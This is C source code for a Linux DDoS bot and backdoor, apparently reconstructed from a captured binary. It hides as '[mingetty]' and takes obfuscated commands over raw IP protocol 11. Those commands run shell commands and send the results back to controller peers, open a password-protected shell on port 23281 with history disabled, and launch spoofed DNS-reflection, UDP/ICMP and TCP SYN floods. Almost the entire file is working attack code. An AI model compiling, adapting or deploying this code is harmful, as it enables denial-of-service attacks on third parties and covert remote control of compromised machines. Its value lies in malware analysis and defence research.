#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>

#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_icmp.h>
#include <netinet/tcp.h>

char fake_argv[] = "[mingetty]";

int child_pid;
int shell_pid;
int current_command;
char addr_list_type;

u_int32_t my_ip_addr;
u_int32_t peer_ips[10];

/* 9 spoofed queries that dns_ddos sends to the dns servers */
int dns_queries_sizes[9] = { 21, 21, 20, 21, 21, 25, 20, 20, 20 };
char dns_queries[9][50] =
	{	/* .com */
		"\x47\x6e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x63\x6f\x6d\x00\x00\x06\x00\x01",
 		/* .net */
		"\x47\x6e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x6e\x65\x74\x00\x00\x06\x00\x01",
 		/* .de */
		"\x47\x6e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x64\x65\x00\x00\x06\x00\x01",
 		/* .edu */
		"\x47\x6e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x65\x64\x75\x00\x00\x06\x00\x01",
 		/* .org */
		"\x47\x6e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x6f\x72\x67\x00\x00\x06\x00\x01",
 		/* .usc.edu */
		"\x47\x6e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x75\x73\x63\x03\x65\x64\x75\x00\x00\x06\x00\x01",
 		/* .es */
		"\x47\x6e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x65\x73\x00\x00\x06\x00\x01",
 		/* .gr */
		"\x47\x6e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x67\x72\x00\x00\x06\x00\x01",
 		/* .ie */
		"\x47\x6e\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03\x69\x65\x00\x00\x06\x00\x01"
	};

/* dns servers used for the dns_ddos attack */
u_int32_t dns_servers[2] =
	{
		0x01010101,
		0x00000000		/* last element must be NULL */
	};

/* W. Richard Stevens */
u_int16_t in_cksum(u_int16_t *addr, int len)
{
	int nleft = len;
	int sum = 0;
	u_int16_t *w = addr;
	u_int16_t answer = 0;

	while (nleft > 1) {
		sum += *w++;
		nleft -= 2;
	}

	if (nleft == 1) {
		*(u_int16_t*) (&answer) = *(u_int16_t*) w;
		sum += answer;
	}
	
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	answer = ~sum;
	return (answer);
}

/* Simple obfuscation of the packet data */
void packet_encode(int input_size, char* input, char* output)
{
	int c;

	output[0] = input[0] + 0x17;
	for (c=1; c <= input_size; c++) {
		output[c] = output[c-1] + input[c] + 0x17;
	}
}

/* The reverse of packet_encode */
void packet_decode(int input_size, char* input, char* output)
{
	int c;
	
	for (c=input_size-1; c > 0; c--) {
		output[c] = input[c] - input[c-1] - 0x17;
	}
	output[0] = input[0] - 0x17;
}

int send_packet_sig3(u_int32_t* ip_src_ptr, u_int32_t* ip_dst_ptr,
					 char* packet_data, int packet_data_size)
{
	int sock;
	char ip_str[20];
	struct sockaddr_in remote_addr;

	struct Packet {
		struct iphdr ip;
		char data[3];
	} *packet;

	/* open a raw socket for sending the DNS requests */
	sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
	if (sock < 0)
		return 0;

	packet = (struct Packet*) malloc(sizeof(struct Packet) + packet_data_size);
	if (!packet)
		return 0;
	
	/* source and destination address */
	packet->ip.saddr = *ip_src_ptr;
	packet->ip.daddr = *ip_dst_ptr;
	
	sprintf(ip_str, "%d.%d.%d.%d", ((char*)ip_dst_ptr)[0],
								   ((char*)ip_dst_ptr)[1],
								   ((char*)ip_dst_ptr)[2],
								   ((char*)ip_dst_ptr)[3] );

	remote_addr.sin_addr.s_addr = inet_addr(ip_str);
	remote_addr.sin_port = 2560;
	remote_addr.sin_family = AF_INET;
	
	packet->ip.version = 0x4;	/* ip version */
	packet->ip.ihl = 0x5;
				
	packet->ip.ttl = 250;		/* ip ttl */
	packet->ip.protocol = 0x0B;	/* ip proto = 0x0B */
	packet->ip.tot_len = htons(packet_data_size + 22);
	packet->ip.tos = 0;
	packet->ip.id = random();	/* ip id */
	packet->ip.frag_off = 0;
				
	packet->ip.check = 0;
	packet->ip.check = in_cksum((u_int16_t*)&packet, 20);

	/* set the signature to 3 */
	packet->data[0] = 3;
	
	memcpy(&packet->data[2], packet_data, packet_data_size);

	/* send the packet */
	sendto(sock, (char*)packet, 22 + packet_data_size, 0,
		(struct sockaddr*)&remote_addr, sizeof(remote_addr));
	
	free(packet);
	close(sock);

	return 0;
}

/* Send a packet with signature '3' to the ip addresses in peer_ips */
int send_packet_sig3_peers(u_int32_t* peer_ips, char* packet_data, int packet_size)
{
	int i;

	if (addr_list_type == 0) {
		send_packet_sig3(&my_ip_addr, peer_ips, packet_data, packet_size);
	}
	else {
		for (i=0; i<10; i++) {
			usleep(4000);
			send_packet_sig3(&my_ip_addr, &peer_ips[i], packet_data, packet_size);
		}
	}

	return 0;
}

/* Launches a DDoS attack. If resolve_hostname is 1, the target is specified
 * in the hostname parameter. It is resolved again after 40000 packets are sent,
 * in case the dns record has been changed. If resolve_hostname is 0, the target
 * is specified in the ip_addr_* parameters. If port_hi and port_lo are not 0, they
 * are used a source port for the spoofed requests. The sleep_after is the
 * number of packets to send between the calls to usleep(300). If it is 0 the
 * process sleeps after each packet */

int dns_ddos(char ip_addr_D, char ip_addr_C, char ip_addr_B, char ip_addr_A, int sleep_after,
		 char port_hi, char port_lo, char resolve_hostname, char* hostname)
{
	struct hostent* host;
	int sock;
	int sleep_counter;
	int resolve_counter;
	int i;
	int dns_server;
	int random_server;
	
	struct sockaddr_in remote_addr;

	struct {
		struct iphdr ip;
		struct udphdr udp;
		char udp_data[50];
	} packet;

	if (!sleep_after)	/* i don't know what this is for */
		sleep_after--;

	/* open a raw socket for sending the DNS requests */
	sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
	if (sock < 0) {
		child_pid = 0;
		return 0;
	}

	remote_addr.sin_family = AF_INET;
	remote_addr.sin_port = 0;
	
	resolve_counter = 0;
	sleep_counter = 0;

	memset((char*)&packet, 0, sizeof(packet)); /* initialize the packet data to 0 */

	/* infinite DoS loop */

	while (1) {
			
		/* resolve the hostname of the DoS target */
		if (resolve_hostname && (resolve_counter<=0)) {
			do {
				if ( (host = gethostbyname((const char*)hostname)) ) {
					packet.ip.saddr = *(u_int32_t*)(host->h_addr_list[0]);
					resolve_counter = 40000;	/* when the counter drop to 0, resolve again */
				}
				else
					sleep(600);					/* if you can't resolve the ip, wait 10 minutes and try again */
			} while (!host);					/* repeat until you successfully resolve it */
		}
	
		random_server = 1;
		
		for (i = 0; i < 9; i++) {

			/* pick a random server for the first query, start at 0 for all others */
			if (random_server) {
				random_server = 0;
				dns_server = random() % 8000;
			}
			else {
				dns_server = 0;
			}
			
			while (dns_servers[dns_server] != 0) {
				
				remote_addr.sin_addr.s_addr = dns_servers[dns_server];
				
				/* copy the query to the UDP data section of the packet */
				memcpy(packet.udp_data, dns_queries[i], dns_queries_sizes[i]);
					
				/* set the ID field of the DNS packet to a random value */
				packet.udp_data[0] = random() % 255;
				packet.udp_data[1] = random() % 255;
		
				if (!port_hi && !port_lo)
					/* source port not supplied, use a random value */
					packet.udp.source = htons(random() % 30000);
				else
					packet.udp.source = (u_int16_t)((port_hi << 8) + port_lo);
					
				/* udp destination port = 53 */
				packet.udp.dest = htons(53);
				
				/* udp length */
				packet.udp.len = sizeof(packet.udp) + dns_queries_sizes[i];
				
				/* source address */
				if (!resolve_hostname) {
					packet.ip.saddr = ((u_int32_t)ip_addr_D << 24) +
									  ((u_int32_t)ip_addr_C << 16) +
									  ((u_int32_t)ip_addr_B << 8) +
									  (u_int32_t)ip_addr_A;
				}
				
				/* destination address */
				packet.ip.daddr = dns_servers[dns_server];
				
				packet.ip.version = 0x4;	/* ip version */
				packet.ip.ihl = 0x5;
				
				packet.ip.ttl = 120 + random() % 130;	/* ip ttl */
				packet.ip.id = random() % 255;			/* ip id */
				packet.ip.protocol = IPPROTO_UDP;		/* ip proto = UDP */
				packet.ip.frag_off = 0;					/* ip id */
				packet.ip.tot_len = htons(dns_queries_sizes[i] + 28);
				
				packet.ip.check = 0;
				packet.ip.check = in_cksum((u_int16_t*)&packet, 20);
		
				/* send the packet */
				sendto(sock, (char*)&packet, 28 + dns_queries_sizes[i], 0,
					(struct sockaddr*)&remote_addr, sizeof(remote_addr));
		
				if (!sleep_after) {
					usleep(300);			/* if there is no sleep interval, sleep after every packet */
					resolve_counter--;
				}
				else if (sleep_counter == sleep_after) {
					usleep(300);			/* otherwise, sleep after enough packets are sent */
					resolve_counter--;
					sleep_counter = 0;
				}
				else {
					sleep_counter++;
				}

				/* go to the next server */
				dns_server++;
			}
		}
	}
}	

/* Launches a DDoS attack by sending udp or icmp packets. If resolve_hostname
 * is 1, the target is specified in the hostname parameter. It is resolved
 * again after 40000 packets have been sent in case the dns record has changed.
 * If resolve_hostname is 0, the target is specified with the ip_dst_*
 * parameters. If udp_packet is 1, the program sends a UDP packet with dest_port
 * as the destination port. Otherwise the program sends a ICMP echo request.
 * In both cases the source address can be spoofed. */
int direct_ddos(char udp_packet, char dest_port,
			char ip_dst_A, char ip_dst_B, char ip_dst_C, char ip_dst_D,
			char ip_src_A, char ip_src_B, char ip_src_C, char ip_src_D,
		 	char resolve_hostname, char* hostname)
{
	struct hostent* host;
	int sock;
	int resolve_counter;
	char ip_str[20];
	
	struct sockaddr_in remote_addr;

	union {
		struct iphdr ip_hdr;

		struct {
			struct iphdr ip_hdr;
			struct udphdr udp_hdr;
			char udp_data[1];
		} udp;

		struct {
			struct iphdr ip_hdr;
			struct icmphdr icmp_hdr;
		} icmp;
	} packet;

	remote_addr.sin_family = AF_INET;
	remote_addr.sin_port = htons(random() % 255);

	if (!resolve_hostname) {
		/* use the specified target address */
		sprintf(ip_str, "%d.%d.%d.%d", ip_dst_A, ip_dst_B, ip_dst_C, ip_dst_D);
		remote_addr.sin_addr.s_addr = inet_addr(ip_str);
		packet.ip_hdr.daddr = remote_addr.sin_addr.s_addr;
	}

	/* open a raw socket for sending packets */
	sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
	if (sock < 0) {
		child_pid = 0;
		return 0;
	}

	/* initialize the IP fields */
	packet.ip_hdr.version = 0x4;
	packet.ip_hdr.ihl = 0x5;
	packet.ip_hdr.tot_len = htons(10268);
	packet.ip_hdr.id = htons(1109);
	packet.ip_hdr.ttl = 120 + random() % 130;
	
	/* source address */
	sprintf(ip_str, "%d.%d.%d.%d", ip_src_A, ip_src_B, ip_src_C, ip_src_D);
	packet.ip_hdr.saddr = inet_addr(ip_str);

	packet.ip_hdr.frag_off = htons(8190);
	packet.ip_hdr.check = 0;

	if (udp_packet) {
		/* udp packet to dest_port */
		packet.ip_hdr.protocol = IPPROTO_UDP;
		packet.udp.udp_hdr.source = random() % 255;
		packet.udp.udp_hdr.dest = htons(dest_port);
		packet.udp.udp_hdr.len = htons(9);
		packet.udp.udp_hdr.check = 0;
		packet.udp.udp_hdr.check = in_cksum((u_int16_t*)&packet.udp.udp_hdr, 9);
	}
	else {
		/* icmp echo request packet */
		packet.ip_hdr.protocol = IPPROTO_ICMP;
		packet.icmp.icmp_hdr.type = ICMP_ECHO;
		packet.icmp.icmp_hdr.code = 0;
		packet.icmp.icmp_hdr.checksum = 0;
		packet.icmp.icmp_hdr.checksum = in_cksum((u_int16_t*)&packet.icmp.icmp_hdr, 9);
	}

	packet.ip_hdr.check = in_cksum((u_int16_t*)&packet.ip_hdr, 20);

	resolve_counter = 0;
	
	/* infinite DoS loop */
	
	while (1) {
		if (resolve_hostname && (resolve_counter <= 0)) {
			do {
				if ( (host = gethostbyname((const char*)hostname)) ) {
					remote_addr.sin_addr.s_addr = *(u_int32_t*)(host->h_addr_list[0]);;
					packet.ip_hdr.daddr = remote_addr.sin_addr.s_addr;
					resolve_counter = 40000;	/* when the counter drop to 0, resolve again */
				}
				else {
					/* if you can't resolve, sleep for 10 minutes and try again */
					sleep(600);
					/* resolve_counter--; */	/* this is in the binary, but looks like a bug */
				}
			} while (!host);
		}
		
		/* send the packet */
		sendto(sock, (char*)&packet, 29, 0,	(struct sockaddr*)&remote_addr, sizeof(remote_addr));
		/* twice */
		sendto(sock, (char*)&packet, 29, 0,	(struct sockaddr*)&remote_addr, sizeof(remote_addr));
	
		resolve_counter--;

		usleep(20);
	}
}	

int tcp_ddos(char ip_dst_A, char ip_dst_B, char ip_dst_C, char ip_dst_D,
			 char dport_hi, char dport_lo, char ip_src_supplied,
			 char ip_src_A, char ip_src_B, char ip_src_C, char ip_src_D,
		 	 char sleep_after, char resolve_hostname, char* hostname)
{
	struct hostent* host;
	int sock;
	int resolve_counter;
	int sleep_counter;
	char ip_str[20];
	
	struct sockaddr_in remote_addr;

	struct {
		struct iphdr ip_hdr;
		struct tcphdr tcp_hdr;
	} packet; 

	struct {
		u_int32_t ip_src;
		u_int32_t ip_dst;
		u_int8_t zero;
		u_int8_t protocol;
		u_int16_t tcp_len;
		u_int8_t tcp_hdr[20];
	} pseudo_header;		/* used for tcp checksum calculation */
	
	if (sleep_after)			/* ??? */
		sleep_after--;

	srand(time(NULL));
	
	remote_addr.sin_family = AF_INET;
	remote_addr.sin_port = htons(random() % 255);

	/* clear the ip packet */
	memset((char*)&packet, 0, 40);
	
	if (!resolve_hostname) {
		/* use the specified target address */
		sprintf(ip_str, "%d.%d.%d.%d", ip_dst_A, ip_dst_B, ip_dst_C, ip_dst_D);
		remote_addr.sin_addr.s_addr = inet_addr(ip_str);
		packet.ip_hdr.daddr = remote_addr.sin_addr.s_addr;
		pseudo_header.ip_dst = remote_addr.sin_addr.s_addr;
	}

	/* open a raw socket for sending packets */
	sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
	if (sock < 0) {
		child_pid = 0;
		return 0;
	}

	/* initialize the IP fields */
	packet.ip_hdr.version = 0x4;
	packet.ip_hdr.ihl = 0x5;
	packet.ip_hdr.tot_len = htons(40);
	packet.ip_hdr.tos = 0;

	/* source address */
	if (ip_src_supplied) {
		sprintf(ip_str, "%d.%d.%d.%d", ip_src_A, ip_src_B, ip_src_C, ip_src_D);
		packet.ip_hdr.saddr = inet_addr(ip_str);
		pseudo_header.ip_src = packet.ip_hdr.saddr;
	}

	packet.ip_hdr.frag_off = 0;
	packet.ip_hdr.protocol = IPPROTO_TCP;
	packet.tcp_hdr.doff = 5;
	packet.tcp_hdr.ack_seq = 0;
	packet.tcp_hdr.syn = 1;
	packet.tcp_hdr.urg_ptr = 0;
	packet.tcp_hdr.dest = htons(((u_int16_t)dport_hi << 8) + (u_int16_t)dport_lo);
	
	pseudo_header.zero = 0;
	pseudo_header.protocol = IPPROTO_TCP;
	pseudo_header.tcp_len = 20;
	
	resolve_counter = 0;
	sleep_counter = 0;
	
	/* infinite DoS loop */
	
	while (1) {
		if (resolve_hostname && (resolve_counter <= 0)) {
			do {
				if ( (host = gethostbyname((const char*)hostname)) ) {
					remote_addr.sin_addr.s_addr = *(u_int32_t*)(host->h_addr_list[0]);;
					packet.ip_hdr.daddr = remote_addr.sin_addr.s_addr;
					pseudo_header.ip_dst = remote_addr.sin_addr.s_addr;
					resolve_counter = 40000;	/* when the counter drop to 0, resolve again */
				}
				else {
					/* if you can't resolve, sleep for 10 minutes and try again */
					sleep(600);
				}
			} while (!host);
		}
		
		packet.ip_hdr.id = htons(random() % 3089);
		packet.tcp_hdr.window = htons(random() % 200);
		packet.tcp_hdr.source = htons(random() % 40000);
		packet.tcp_hdr.seq = htonl(random() % 40000000);
		packet.ip_hdr.ttl = 125 + random() % 116;

		if (!ip_src_supplied) {
			packet.ip_hdr.saddr = random();
			pseudo_header.ip_src = packet.ip_hdr.saddr;
		}

		packet.tcp_hdr.check = 0;
		memcpy(pseudo_header.tcp_hdr, &packet.tcp_hdr, 20);
		packet.tcp_hdr.check = in_cksum((u_int16_t*)&pseudo_header, 32);
	
		packet.ip_hdr.check = 0;
		packet.ip_hdr.check = in_cksum((u_int16_t*)&packet.ip_hdr, 20);
	
		/* send the packet */
		sendto(sock, (char*)&packet, 40, 0,	(struct sockaddr*)&remote_addr, sizeof(remote_addr));
	
		if (sleep_after == 0) {
			usleep(300);
		}
		else {
			if (sleep_counter == sleep_after) {
				usleep(300);
				sleep_counter = 0;
			}
			else {
				sleep_counter++;
			}
		}
		
		resolve_counter--;
	}
}	


int dns2_ddos(char ip_dst_A, char ip_dst_B, char ip_dst_C, char ip_dst_D,
			 char ip_src_A, char ip_src_B, char ip_src_C, char ip_src_D,
		 	 char sleep_after, char sport_hi, char sport_lo,
			 char resolve_hostname, char* hostname)
{
	struct hostent* host;
	int sock;
	int sleep_counter;
	int resolve_counter;
	int i;
	char ip_str[20];
	
	struct sockaddr_in remote_addr;

	struct {
		struct iphdr ip;
		struct udphdr udp;
		char udp_data[50];
	} packet;

	if (!sleep_after)	/* i don't know what this is for */
		sleep_after--;

	/* open a raw socket for sending the DNS requests */
	sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
	if (sock < 0) {
		child_pid = 0;
		return 0;
	}

	remote_addr.sin_family = AF_INET;
	remote_addr.sin_port = 0;

	if (!resolve_hostname) {
		/* use the specified target address */
		sprintf(ip_str, "%d.%d.%d.%d", ip_dst_A, ip_dst_B, ip_dst_C, ip_dst_D);
		remote_addr.sin_addr.s_addr = inet_addr(ip_str);
		packet.ip.daddr = remote_addr.sin_addr.s_addr;
	}

	resolve_counter = 0;
	sleep_counter = 0;

	memset((char*)&packet, 0, sizeof(packet)); /* initialize the packet data to 0 */

	/* infinite DoS loop */

	while (1) {
			
		/* resolve the hostname of the DoS target */
		if (resolve_hostname && (resolve_counter<=0)) {
			do {
				if ( (host = gethostbyname((const char*)hostname)) ) {
					packet.ip.daddr = *(u_int32_t*)(host->h_addr_list[0]);
					remote_addr.sin_addr.s_addr = inet_addr(ip_str);
					resolve_counter = 40000;	/* when the counter drop to 0, resolve again */
				}
				else
					sleep(600);					/* if you can't resolve the ip, wait 10 minutes and try again */
			} while (!host);					/* repeat until you successfully resolve it */
		}

		for (i = 0; i < 9; i++) {

			/* copy the query to the UDP data section of the packet */
			memcpy(packet.udp_data, dns_queries[i], dns_queries_sizes[i]);
				
			/* set the ID field of the DNS packet to a random value */
			packet.udp_data[0] = random() % 255;
			packet.udp_data[1] = random() % 255;
	
			if (!sport_hi && !sport_lo)
				/* source port not supplied, use a random value */
				packet.udp.source = htons(random() % 30000);
			else
				packet.udp.source = (u_int16_t)((sport_hi << 8) + sport_lo);
				
			/* udp destination port = 53 */
			packet.udp.dest = htons(53);
			
			/* udp length */
			packet.udp.len = sizeof(packet.udp) + dns_queries_sizes[i];

			packet.udp.check = 0;
			
			/* source address */
			if (ip_src_A || ip_src_B || ip_src_C || ip_src_D) {
				packet.ip.saddr = ((u_int32_t)ip_src_D << 24) +
								  ((u_int32_t)ip_src_C << 16) +
								  ((u_int32_t)ip_src_B << 8) +
								  (u_int32_t)ip_src_A;
			}
			else {
				packet.ip.saddr = random();
			}
			
			packet.ip.version = 0x4;	/* ip version */
			packet.ip.ihl = 0x5;
			
			packet.ip.ttl = 120 + random() % 130;	/* ip ttl */
			packet.ip.id = random() % 255;			/* ip id */
			packet.ip.protocol = IPPROTO_UDP;		/* ip proto = UDP */
			packet.ip.frag_off = 0;					/* ip id */
			packet.ip.tot_len = htons(dns_queries_sizes[i] + 28);
			
			packet.ip.check = 0;
			packet.ip.check = in_cksum((u_int16_t*)&packet, 20);
	
			/* send the packet */
			sendto(sock, (char*)&packet, 28 + dns_queries_sizes[i], 0,
				(struct sockaddr*)&remote_addr, sizeof(remote_addr));
	
			if (!sleep_after) {
				usleep(300);			/* if there is no sleep interval, sleep after every packet */
				resolve_counter--;
			}
			else if (sleep_counter == sleep_after) {
				usleep(300);			/* otherwise, sleep after enough packets are sent */
				resolve_counter--;
				sleep_counter = 0;
			}
			else {
				sleep_counter++;
			}

		}
	}
}



int main(int argc, char* argv[])
{
	int sock;
	int size;
	char recvbuf[2048];
	char packet[2048];
	char ip_buf[4096];

	int grandchild_pid;
	int optval;
	struct sockaddr_in my_addr;
	struct sockaddr_in remote_addr;
	socklen_t remote_addr_len;
	int conn;
	char passbuf[20];
	int c;
	int random_value;
	int i;
	int followup_packet;
	FILE* file;
	
	/* are we root? */
	if (geteuid() != 0) {
		exit(-1);
	}
	
	/* overwrite argv[0] with [mingetty] */
	memset(argv[0], 0, strlen(argv[0]));
	strcpy(argv[0], fake_argv);
	
	/* double fork, as per Stevens (APUE) */
	signal(SIGCHLD, SIG_IGN);
	if (fork() != 0) {
		exit(0);		/* parent goes bye-bye */
	}
	
	/* child continues */

	setsid();			/* become session leader */

	/* second fork */
	signal(SIGCHLD, SIG_IGN);
	if (fork() != 0) {
		exit(0);		/* child goes bye-bye */
	}

	/* grandchild continues */

	chdir("/");			/* change working directory */
	
	/* close file descriptors */
	close(STDIN_FILENO);
	close(STDOUT_FILENO);
	close(STDERR_FILENO);

	/* initialize the random seed */
	srand((unsigned int)time(NULL));
	
	/* open a raw socket for receiving control packets */
	sock = socket(PF_INET, SOCK_RAW, 0x0B);
	
	/* ignore signals */
	signal(SIGHUP, SIG_IGN);
	signal(SIGTERM, SIG_IGN);
	signal(SIGCHLD, SIG_IGN);

	while (1) {
		size = recv(sock, recvbuf, 2048, 0);

		/* process the packet only if the proto is 0x0B, the first data
		 * byte is 2 and the size is > 200 */
		if (recvbuf[9] != 0x0B) break;
		if (recvbuf[20] != 2) break;
		if (size <= 200) break;
	
		/* "decrypt" the packet */
		packet_decode(size-22, &recvbuf[22], packet);
		
		switch (packet[1]) {
			case 1:
				/* send a status reply */
				recvbuf[0] = 0;
				recvbuf[1] = 1;
				recvbuf[2] = 7;
				if (child_pid) {
					recvbuf[3] = 1;
					recvbuf[4] = (char)current_command;
				}
				else {
					recvbuf[3] = 0;
				}
				packet_encode(400, recvbuf, packet);
				send_packet_sig3_peers(peer_ips, packet, 400 + random() % 201);
				break;
				
			case 2:
				addr_list_type = packet[2];

				/* save the destination address of the packet as my own address */
				my_ip_addr = *((u_int32_t*)&ip_buf[16]);

				if (addr_list_type == 0) {
					peer_ips[random_value] = *((u_int32_t*)&packet[3]);
					break;
				}
				
				srand(time(NULL));
				random_value = random() % 10;
				
				for (i=0; i<10; i++) {
					if (i == random_value) continue;
					
					if (addr_list_type == 2)
						/* copy the an ip address from the packet to peer_ips */
						peer_ips[i] = *((u_int32_t*)&packet[3+i*4]);
					else
						peer_ips[i] = random();
				}

				if (addr_list_type != 2)
					peer_ips[random_value] = *((u_int32_t*)&packet[3]);

				break;
					
			case 3:
				/* execute a shell command and send the result back to the controller */
				shell_pid = fork();
				if (!shell_pid) break;

				setsid();
				signal(SIGCHLD, SIG_IGN);
				if (fork()) {
					/* wait 10 seconds and kill the shell process */
					sleep(10);
					kill(shell_pid, SIGKILL);
					exit(0);
				}

				/* shell process */
				sprintf(ip_buf, "/bin/csh -f -c \"%s\" 1> %s 2>&1", &packet[2], "/tmp/.hj237349");
				system(ip_buf);
				file = fopen("/tmp/.hj237349", "rb");
				if (!file)
					exit(0);

				followup_packet = 0;
				do {
					c = fread(&ip_buf[2], 1, 398, file);
					ip_buf[2+c] = '\0';

					if (!followup_packet) {
						ip_buf[1] = 3;
						followup_packet = 1;
					}
					else {
						ip_buf[1] = 4;
					}

					packet_encode(400, ip_buf, packet);
					send_packet_sig3_peers(peer_ips, packet, 400 + random() % 200);

					usleep(400000);
				} while (c != 0);

				fclose(file);
				remove("/tmp/.hj237349");
				exit(0);
				
			case 4:
				/* launch a dns DDoS attack against a target */
				if (child_pid) break;
				
				current_command = 4;
				child_pid = fork();
				if (!child_pid) break;

				dns_ddos(packet[2], packet[3], packet[4], packet[5], 0,
						 packet[6], packet[7], packet[8], &packet[9]);

				exit(0);
			
			case 5:
				/* launch a udp/icmp DDoS attack against a target */
				if (child_pid) break;
				current_command = 5;
				child_pid = fork();
				if (!child_pid) break;

				direct_ddos(packet[2], packet[3], packet[4], packet[5], packet[6],
							packet[7], packet[8], packet[9], packet[10], packet[11],
							packet[12], &packet[13]);

				exit(0);
				
			case 6:
				/* run a shell on port 23281 */
				if (child_pid) break;
				current_command = 6;

				signal(SIGCHLD, SIG_IGN);
				child_pid = fork();
				if (!child_pid) break;		/* the child continues */
				
				setsid();
				signal(SIGCHLD, SIG_IGN);

				sock = socket(SOCK_STREAM, PF_INET, IPPROTO_IP);
				
				signal(SIGCHLD, SIG_IGN);
				signal(SIGHUP, SIG_IGN);
				signal(SIGTERM, SIG_IGN);
				signal(SIGINT, SIG_IGN);

				optval = 1;
				setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &optval, 4);

				my_addr.sin_family = AF_INET;
				my_addr.sin_port = htonl(23281);
				my_addr.sin_addr.s_addr = htonl(INADDR_ANY);
				
				bind(sock, (struct sockaddr*)&my_addr, sizeof(my_addr));
				listen(sock, 3);

				while (1) {
					conn = accept(sock, (struct sockaddr*)&remote_addr, &remote_addr_len);
					if (!conn) exit(0);
				
					if (fork() == 0) {
						recv(conn, passbuf, sizeof(passbuf), 0);

						for (c=0; c < sizeof(passbuf)-1; c++) {
							if (passbuf[c] == 0xA || passbuf[c] == 0xD)
								passbuf[c] = '\0';
							else
								passbuf[c]++;
						}

						if (strncmp(passbuf, "TfOjG", 6) != 0) {
							send(conn, "\xff\xfb\x01", 4, 0);
							close(conn);
							exit(1);
						}
						else {
							dup2(conn, STDIN_FILENO);
							dup2(conn, STDOUT_FILENO);
							dup2(conn, STDERR_FILENO);
							
							setenv("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1);
							unsetenv("HISTFILE");
							setenv("TERM", "linux", 1);
							execl("/bin/sh", "sh", NULL);
							
							close(conn);
							exit(0);
						}
					}
				}
				break;
				
			case 7:
				/* execute a shell command */
				shell_pid = fork();
				if (!shell_pid) break;

				setsid();
				signal(SIGCHLD, SIG_IGN);
				grandchild_pid = fork();
				if (grandchild_pid == 0) {
					sprintf(ip_buf, "/bin/csh -f -c \"%s\" ", &packet[2]);
					system(ip_buf);
					exit(0);
				}
				else {
					/* wait 20 minutes and kill the shell process */
					sleep(1200);
					kill(shell_pid, SIGKILL);
					exit(0);
				}
				break;
				
			case 8:
				/* kill the child */
				if (!child_pid) break;

				kill(child_pid, SIGKILL);
				child_pid = 0;
				break;
				
			case 9:
				/* very similar to case 4, but allow the user to specify the sleep interval */
				if (child_pid) break;

				current_command = 9;
				child_pid = fork();
				if (!child_pid) break;

				dns_ddos(packet[2], packet[3], packet[4], packet[5], packet[6],
						 packet[7], packet[8], packet[9], &packet[10]);

				break;

			case 10:
				/* launch a tcp DDoS attack agains a target, sleep after every packet */
				if (child_pid) break;

				current_command = 10;
				child_pid = fork();
				if (!child_pid) break;

				tcp_ddos(packet[2], packet[3], packet[4], packet[5], packet[6],
						 packet[7], packet[8], packet[9], packet[10], packet[11],
						 packet[12], 0, packet[13], &packet[14]);
		
				exit(0);

			case 11:
				/* same as 10, but allow the user to specify the sleep interval */
				if (child_pid) break;

				current_command = 11;
				child_pid = fork();
				if (!child_pid) break;

				tcp_ddos(packet[2], packet[3], packet[4], packet[5], packet[6],
						 packet[7], packet[8], packet[9], packet[10], packet[11],
						 packet[12], packet[13], packet[14], &packet[15]);
		
				exit(0);

			case 12:
				if (child_pid) break;

				current_command = 12;
				child_pid = fork();
				if (!child_pid) break;

				dns2_ddos(packet[2], packet[3], packet[4], packet[5], packet[6],
						  packet[7], packet[8], packet[9], packet[10], packet[11],
						  packet[12], packet[13], &packet[14]);
		
				exit(0);

		}
		
		usleep(10000);
	}
	return 0;
}
